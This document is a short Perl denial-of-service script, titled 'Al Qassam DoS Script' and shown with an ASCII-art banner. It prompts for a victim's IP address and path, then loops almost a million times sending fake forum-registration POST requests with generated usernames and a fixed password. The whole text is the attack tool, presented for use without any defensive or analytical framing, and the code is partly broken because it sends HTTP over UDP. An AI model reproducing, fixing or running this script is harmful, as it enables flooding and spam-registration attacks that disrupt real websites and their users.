al qassam DoS Script **perl**

#!/usr/bin/perl
use IO::Socket;


print q{

  |
  / \
 /   \
(_____)
 |   | +___________________________________+
 |   |     ____________________________    |
 |   | |  |                            |   |
 |   | |  |                            |   |
 |   | |  |                            | O |
 |   | |  |                            | O |
 |   | |  |____________________________|   |
 |___|    _____________________________________
     +--| \ [][][][][][][][][][][][][] [][][]  \
           \  [][][][][][][][][][][][]  [][][]  \
            \  __________________________________\
              ____________________________________|

     Al Qassam DoS Script coded by Sheikh
};
$rand=rand(10);
print "
Victims IP: ";
$serv = <stdin>;
chop ($serv);
print "Connections: ";
$path = <stdin>;
chop ($path);
for ($i=0; $i<999999; $i++)
{
$name="sedXPL_".$rand.$i;
$data = "act=Reg&CODE=02&coppa_user=0&UserName=".$name."&PassWord=sedbotbeta&PassWord_Check=sedbotbeta&EmailAddress=".$name."\@host.com&EmailAddress_two=".$name."\@host.com&allow_admin_mail=1&allow_member_mail=1&day=11&month=11&year=1985&agree=1";
$len = length $data;
$get1 = IO::Socket::INET->new( Proto => "udp", PeerAddr => "$serv", PeerPort => "80") || die "Cennot Connect Host, it's can be beacuse the host dosed";
print $get1 "POST ".$path."index.php HTTP/1.0\n";
print $get1 "Host: ".$serv."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$len."\n\n";
print $get1 $data;
syswrite STDOUT, "+";
}